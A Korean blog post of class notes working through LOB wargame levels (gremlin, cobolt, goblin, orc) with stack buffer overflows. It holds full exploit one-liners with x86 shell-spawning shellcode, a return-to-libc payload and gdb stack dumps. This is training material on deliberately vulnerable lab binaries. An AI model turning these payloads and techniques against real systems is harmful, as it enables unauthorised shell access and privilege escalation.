본문 바로가기
정보보안

정보보안3 6차시

by 뭔가해보겠습니다 2024. 6. 16.

쉘코드 모음 : https://pwnable-study.tistory.com/44

 

첫 번째 문제인 gremlin

256바이트 배열 변수 사용

본래 gremlin 파일은 권한때문에 gdb로 실행불가

이 때 cp로 파일을 복사하여 복사한 파일로 gdb를 실행함

 

(gdb) r $(python -c 'print "\x41"*210 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*26 + "AAAA"')

=> gdb를 실행할 때 python으로 문자열을 반복하여 넣는다

 

\x41은 A

\x90은 NOP 코드를 의미한다

 

변수 크기가 256바이트이므로

A 210개, 쉘코드 24바이트, NOP 26개 = 260바이트로 EBP 영역까지 침범시켰고

그 뒤는 RET 복귀주소이므로, AAAA가 복귀주소에 침범하게 된다

 

 

두 번째 문제인 cogolt

16바이트 배열 변수 사용

배열 크기가 작기때문에 이전과 같이 쉘코드 (24바이트)를 배열에 넣을 수 없음

 

$ ./cobolt aaa
aaa
$ ./cobolt aaa bbb
aaa

=> 에러가 나지 않음 = 변수개수  제한이 없음

 

argv[2] 부터의 변수를 활용하여 쉘코드를 실행시킨다

 

사용한 코드:

./cobolt2 $(python -c 'print "\x90"*20 + "\x40\xfc\xff\xbf"') $(python -c 'print "\x90"*10 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')

 

( 점프한 위치 : 0xbffffc40 )

 

세 번째 문제 : cobolt

small buffer + stdin

char buffer 크기는 16

 

이번 문제는 인수에 쉘코드를 넘겨줘도 인식하지 않는다

인수를 사용할 수 있는 문제는 strcpy 함수를 사용할 때.

 

cobolt는 stdin, gets 입력을 받는것.

 

입력을 받을 때는 | (파이프) 를 이용한다

 

일단 시스템 함수 주소 찾기

(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>

=> 시스템 함수 주소 : 0x40058ae0

 

c언어 코드로 /bin/sh의 주소를 찾는다
long addr = 0x40058ae0;  // system 함수의 주소
while(memcmp((char *)addr, "/bin/sh", 8)){
 ++addr;
}

시스템 함수에서부터 증가시켜가면서 /bin/sh와 일치하는 것을 찾는다

아무튼 나온 주소 : 0x400fbff9

 

완성된 코드

(python -c 'print "A"*20 + "\xe0\x8a\x05\x40" + "A"*4 + "\xf9\xbf\x0f\x40"'; cat) | ./goblin

                          |                           |                        |                                   └ 앞의 코드들을 묶어서 | 파이프에 넘긴다

                          |                           |                        |                /bin/sh 주소     

                          |                           |                  아무거나

                          |                 시스템함수주소

        char[16] + ebp까지 20바이트

 

메모리 구조상으로 보면

char[16바이트] EBP RET Argc Argv

+--------------20바이트-----------+-4바이트--+-4바이트-+-4바이트-+

                                                    System                         argv

                                                                      AAAA        /bin/sh

 

AAAA는 어떤 무엇이라도 상관없다. argc 자리인것은 중요하지 않다

함수를 call 할 때, 인수값 사이에 4바이트를 건너뛰게 된다

건너뛴 4바이트에는 원래 함수 호출완료 후 다시 돌아올 때를 위한 복귀주소를 담게 되는데, 공격코드에서 딱히 중요하지 않기 때문에...

 

void test(int a);

test(1);

간단하게 함수를 만들어서 테스트해보면

 

(gdb) x/4xw $esp
0xbffffb0c:     0xbffffb18      0x0804840a      0x00000001      0xbffffb38

                      call 함수          복귀주소               인수

이런식으로 스택에 쌓여있는 것을 확인할 수 있다

 

네 번째 문제 orc

egghunter

 

memset : 메모리를 특정 값으로 초기화시킬 수 있다

environ : 환경변수

 

if문을 보니 특정 인자값위치에 \xbf가 없으면 종료됨

 

실습예제
코드
#include <stdio.h>

int main(int argc, char *argv[])
{
    while(*argv)
    {
        printf("%s \n", *argv);
        argv++;
    }
    return 0;
}

$ gcc -g -o argv argv.c
$ gdb -q argv

(gdb) b main
(gdb) r AAA BBB CCC
Starting program: /home/goblin/argv AAA BBB CCC
Breakpoint 1, main (argc=4, argv=0xbffffb64) at argv.c:5
5           while(*argv)
(gdb) x/16xw $esp
0xbffffb18:     0xbffffb38      0x400309cb      0x00000004      0xbffffb64
0xbffffb28:     0xbffffb78      0x40013868      0x00000004      0x08048320
0xbffffb38:     0x00000000      0x08048341      0x080483d0      0x00000004
0xbffffb48:     0xbffffb64      0x08048298      0x0804843c      0x4000ae60
(gdb) x/8xw 0xbffffb64
0xbffffb64:     0xbffffc5b      0xbffffc6d      0xbffffc71      0xbffffc75
0xbffffb74:     0x00000000      0xbffffc79      0xbffffc8a      0xbffffca3
(gdb) x/s 0xbffffc5b
0xbffffc5b:      "/home/goblin/argv"
(gdb) x/s 0xbffffc6d
0xbffffc6d:      "AAA"
(gdb) x/s 0xbffffc71
0xbffffc71:      "BBB"
(gdb) x/s 0xbffffc75
0xbffffc75:      "CCC"

argv가 어떤식으로 메모리에 들어가는지 확인할 수 있다

+ 문자열의 끝은 항상 NUL문자 0x00이 들어가 있다

 

 

기초지식 진행하다가 수업끝낫다 ... 

더보기

 

답은 이거였음

 

./orc `python -c 'print "A"*40+"BBBB"+"\x70\xf7\xff\xbf"+"\x90"*1000+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

'정보보안' 카테고리의 다른 글

정보보안3 7차시  (0) 2024.06.22
eggshell 추후 분석  (0) 2024.06.22
정보보안3 5차시  (0) 2024.06.15
버퍼오버플로우 복습  (0) 2024.06.11
정보보안3 4차시  (0) 2024.06.09